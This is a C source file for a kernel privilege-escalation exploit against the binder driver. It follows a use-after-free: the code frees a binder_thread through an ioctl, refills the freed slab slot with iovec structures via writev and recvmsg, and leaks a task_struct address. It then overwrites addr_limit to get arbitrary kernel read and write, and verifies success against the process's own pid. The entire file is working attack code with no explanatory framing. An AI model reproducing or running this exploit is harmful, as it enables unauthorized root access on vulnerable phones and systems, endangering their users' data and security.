exploit.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sched.h>
#include <wait.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/prctl.h>

#include "common.h"

#define BINDER_THREAD_EXIT 0x40046208UL
#define PAGESZ 0x1000
#define IOVEC_COUNT 25

void bind_cpu(void){
	int ret;
	cpu_set_t cpu_set;
	CPU_ZERO(&cpu_set);
	CPU_SET(0, &cpu_set);
	
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set);
		
	if (ret < 0){
		fprintf(stderr, "[!] cpu_bind failed!\n");
		_exit(-1);
	}
	
	fprintf(stderr, "[+] Binding CPU to 0 core!\n");
}


void *mmap_page(unsigned long addr){
	void *mem = mmap((void *) addr, PAGESZ, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0);
	if (mem == (void *)-1){
		fprintf(stderr, "[-] mmap_error()!\n");
		_exit(-1);
	}
	
	fprintf(stdout, "[+] mmap'd address: %p\n", mem);
	return mem;
}

unsigned long leak_task_struct(struct epoll_event event){
	int pipefd[2] = {0};
	ssize_t readsz = 0x0;
	char buffer[PAGESZ] = {0};
	int offset = 10;
	pid_t cpid; //child process id 
	
	int fd = open("/dev/binder", O_RDONLY);
	
	if (fd < 0){
		fprintf(stderr, "open: /dev/binder error!\n");
		_exit(-1);
	}
	fprintf(stderr, "\n[#] ARBITRARY ADDRESS READ\n");
	fprintf(stderr, "[+] open'd /dev/binder for AAR!\n");
	
	int epfd = epoll_create(100);
	
	if (epfd < 0){
		perror("epoll_create");
		_exit(-1);
	}

	struct iovec iovec_stack[IOVEC_COUNT];
	memset(iovec_stack, 0, sizeof(iovec_stack));
		
	void *aligned_address = mmap_page(0x100000000UL);
	
	fprintf(stderr, "[+] Setting up pipe\n");
	
	//pipefd[0] read_fd
	//pipefd[1] write_fd

	if (pipe(pipefd) < 0){
		perror("pipe()\n");
		_exit(-1);
	}		
	
	fprintf(stderr, "[+] Pipe creation was a success!\n");
	
	
	//reducing the size of the pipe from 0xffff to 0x100;	
	if (fcntl(pipefd[0], F_SETPIPE_SZ, PAGESZ) < 0){
		perror("fcntl(): pipe_change_size\n");
		_exit(-1);
	}
	
	fprintf(stdout, "[+] pipe-size updated: 0x%x\n", PAGESZ);
	fprintf(stdout, "[+] Setting up iovecs\n");


	iovec_stack[offset].iov_base = aligned_address; //spinlock
	iovec_stack[offset].iov_len = PAGESZ; //max size of a pipe
	iovec_stack[offset + 1].iov_base = (void *) aligned_address; //This will be clobbered with a kernel address binder_buffer->0xa
	iovec_stack[offset + 1].iov_len = PAGESZ; //The No of bytes to read from the above address
	
	fprintf(stdout, "[+] Linking binder_thread to epollevent wait_queue!\n");	
	//link the eventpoll to the binder_thread
	epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
	
	fprintf(stdout, "[+] Initiating a fork!\n");
	
	
	//create a child process	
	cpid = fork();
	if (cpid < 0){
		perror("fork()\n");
		_exit(-1);
	}
	
		
	//The child-process
	if (cpid == 0){
		sleep(3); //allow execution of the parent process to start
		//trigger the unlink operation to clobber the iovec_stack
		fprintf(stderr, "[+] Child Process:\n");
		fprintf(stderr, "\t[*] unlinking re-allocated binder_thread!\n");		

		epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
		
		fprintf(stderr, "\t[*] unblocking writev to leak task_struct!\n");
		//read data from the pipe to unblock the parent writev
		ssize_t readsz = read(pipefd[0], buffer, sizeof(buffer));
	
		if (readsz != PAGESZ)
			_exit(-1);
		
		close(pipefd[1]);
		fprintf(stderr, "\t[*] read: 0x%lx bytes!\n", readsz);

		_exit(0);
		
	}

	fprintf(stderr, "[+] Parent process:\n");
	fprintf(stderr, "\t[*] creating a hole in kmalloc-512\n");
	//getchar();

	//The parent-process
	ioctl(fd, BINDER_THREAD_EXIT, NULL); //free the binder_thread to create a hole in kmalloc-512
	
	fprintf(stderr, "\t[*] re-allocating binder_thread!\n");
	//getchar();
	//allocate iovects to fill the hole in kmalloc-512 via writev and blocks waiting for the child process to unblock
	ssize_t writesz = writev(pipefd[1], iovec_stack, IOVEC_COUNT);
	

	if (writesz < 0){
		perror("writesz()");
		_exit(-1);
	}
	
	if (writesz != PAGESZ *2){
		fprintf(stderr, "[-] writesz read 0x%lx\n", writesz);
		_exit(-1);
	}


	fprintf(stderr, "[+] waiting for the child process!\n");
	waitpid(cpid, NULL, -1);

	//clear the buffer that the child process wrote to
	memset(buffer, 0, sizeof(buffer));
	//The iovec_struct has now been overwritten with a Kernel address
	fprintf(stderr, "[+] Leaking task_struct!\n");
	
	readsz = read(pipefd[0], buffer, sizeof(buffer));
	
	if (readsz != PAGESZ){
		fprintf(stderr, "[!] Read failed. readsz: 0%lxn!\n", readsz);
		_exit(-1);
	}
	
	fprintf(stderr, "[+] read_sz: 0x%lx\n", readsz);
	
	unsigned long ts = *(unsigned long*)(buffer + 0xe8);	
	fprintf(stderr, "[+] Task-struct 0x%lx\n", ts);
		
	if (!ts){
		fprintf(stderr, "[!] couldn't leak task_struct!\n");
		_exit(-1);
	}
	return ts;	
}

//This will overwrite the addr_limit to give us abitrary address write
void overwrite_addr_limit(unsigned long ts, struct epoll_event event){
	int sockfd[2] = {0};
	ssize_t writesz = 0x0;
	int offset = 0xa;
	
	struct msghdr message;
	struct iovec iovec_stack[IOVEC_COUNT];
	
	int fd = open("/dev/binder", O_RDONLY);
	if (fd < 0){ fprintf(stderr, "[-] Could not open /dev/binder!\n"); _exit(1); }
	
	fprintf(stderr, "\n[#] ARBITRARY ADDRESS WRITE!\n");
	fprintf(stderr, "[+] open'd /dev/binder for AAW!\n");
	
	int epfd = epoll_create(100);
	
	fprintf(stderr, "[+] Setting up socket!\n");
	
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockfd) < 0){
		fprintf(stderr, "[+] can't create sockerpair!\n");
		_exit(-1);
	}	
	
	fprintf(stderr, "[+] Socket-Pair craated successfully!\n");
	
	fprintf(stderr, "[+] Writing data to socket!\n");
	
	char buffer[] = {0x41};
	writesz = write(sockfd[1], buffer, sizeof(buffer)); //writing a single data to block the buffer
	
	if (writesz != 0x1){
		fprintf(stderr, "[-] write failed!\n");
		_exit(-1);
	}
	
	fprintf(stderr, "[+] Setting up iovecs!\n");
	memset(iovec_stack, 0, sizeof(iovec_stack));

	unsigned long *mem = mmap_page(0x200000000UL);
	
	iovec_stack[offset].iov_base = mem;
	iovec_stack[offset].iov_len = 0x1;
	iovec_stack[offset + 1].iov_base = (void *) 0xdeadbeef;
	iovec_stack[offset + 1].iov_len = 0x20 + 0x8;
	iovec_stack[offset + 2].iov_base = (void *) 0xcafebabe;
	iovec_stack[offset + 2].iov_len = 0x8;
	
	unsigned long payload[] = {
		0x1, 
		0xdeadbeef,
		0x20 + 0x8,
		ts + 0xa18, //addr_limit 
		0x8,
		0xfffffffffffffffe //addr_limit value
	};
	
	//prepare the message
	memset(&message, 0, sizeof(struct msghdr));
	message.msg_iov = iovec_stack;
	message.msg_iovlen = IOVEC_COUNT; 

	//link the eventpoll to the binder_thread 
	epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
	
	fprintf(stderr, "[+] Linked epoll to binder_thread!\n");
	
	pid_t cpid = fork();
	
	if (cpid < 0){
		perror("fork()");
		_exit(-1);
	}	
	
	//If this is the child-process, do stuffz
	if (cpid == 0){
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		sleep(2); //sleep to wait for the parent process to start
		fprintf(stderr, "[+] Child Process:\n");	
		//unlink to clobber iovec_stack[10]
		
		fprintf(stderr, "\t[*] unlinking binder_buffer!\n");
		epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
		
		writesz = write(sockfd[1], payload, sizeof(payload)); //a write to ublock revmsg
		
		if (writesz != sizeof(payload))
			_exit(-1);
		
		//exit the child process
		_exit(0);
	}
	
	fprintf(stderr, "[+] Parent Process!\n");	
	fprintf(stderr, "\t[+] Creating a hole kmalloc-512!\n");
	//parent process execution before the child 
	ioctl(fd, BINDER_THREAD_EXIT, NULL); //free binder_thread to create a hole in kmalloc-512

	//sock_fd[0] - read
	//sock_fd[1] - write
	
	fprintf(stderr, "\t[+] re-allocating binder_thread in kmalloc-512!\n");
	//This should fill the hole in kmalloc-512, write 1-byte and block waiting for the child process
	writesz = recvmsg(sockfd[0], &message, MSG_WAITALL);
	
	fprintf(stderr, "[+] overwriting addr_limit @ 0x%lx!\n", ts + 0xa18);	
	fprintf(stderr, "[+] writesz: 0x%lx bytez!\n", writesz);	


	
	waitpid(cpid, NULL, -1); //wait for the child process to exit
}

//reading values from a kernel address mem
unsigned long kernel_read(void *addr, int len){
	int pipefd[2];
	int writesz, readsz;
	void *buffer = (void *) calloc(1, len);


	if(pipe(pipefd) < 0){ perror("pipe"); _exit(-1); }
	
	
	if(write(pipefd[1], addr, len) != len){
		fprintf(stderr, "[+] Read from kernel failed!\n");
		_exit(-1);
	}

	close(pipefd[1]);
	
	if(read(pipefd[0], buffer, len) != len){
		fprintf(stderr, "[+] Read from kernel failed!\n");
		_exit(-1);
	}
	
	return *(unsigned long *) buffer;
}

//writing values to a kernel address mem
void kernel_write(void *src, void *dst, size_t len){
	int pipefd[2];

	if (pipe(pipefd) < 0) { perror("pipe"); _exit(-1); }
	
	if(write(pipefd[1], src, len) != len){
		fprintf(stderr, "[!] read(): Kernel-Write-Failed!\n");
		_exit(-1);
	}	
	
	close(pipefd[1]);
	if(read(pipefd[0], dst, len) != len){
		fprintf(stderr, "[!] read(): kernel-write-failed!\n");
		_exit(-1);
	}
	
}

//compare our getpid() with the pid read from current->pid
void verify_exploit(unsigned long task_struct_pid){
	unsigned long buffer;
	pid_t pid = getpid();
	pid_t epid;
	
	int pipefd[2];
	memset(&buffer, 0, sizeof(buffer));
	
	fprintf(stderr, "[+]task_struct->pid: 0x%lx\n", task_struct_pid);
	if (pipe(pipefd) < 0){
		perror("pipe");
		_exit(-1);
	}

	//write to one end of the pipe
	int writesz = write(pipefd[1], (void *)task_struct_pid, sizeof(int));
	if(writesz < 0){
		perror("write");
		_exit(-1);
	}
	
	close(pipefd[1]); //close the end of the pipe
	int readsz = read(pipefd[0], &buffer, sizeof(buffer));
	if (readsz < 0){
		perror("read");
		_exit(-1);
	}

	epid = (pid_t) buffer;
	
	if (epid != pid){
		fprintf(stderr, "[!] Error Kernel AAR/AAW!\n");
		_exit(-1);
	}
}

int main(void){
	struct epoll_event event = {.events = EPOLLIN};
	
	bind_cpu();	
	
	//trigger the function to leak a kernel address
	unsigned long task_struct = leak_task_struct(event);
	unsigned long cred_struct = task_struct + 0x688;
	unsigned long task_struct_pid = task_struct + 0x4e8;

	//struct task_struct *m_task_struct = (struct task_struct *) task_struct;
	overwrite_addr_limit(task_struct, event);

	verify_exploit(task_struct_pid);
	return 0;
}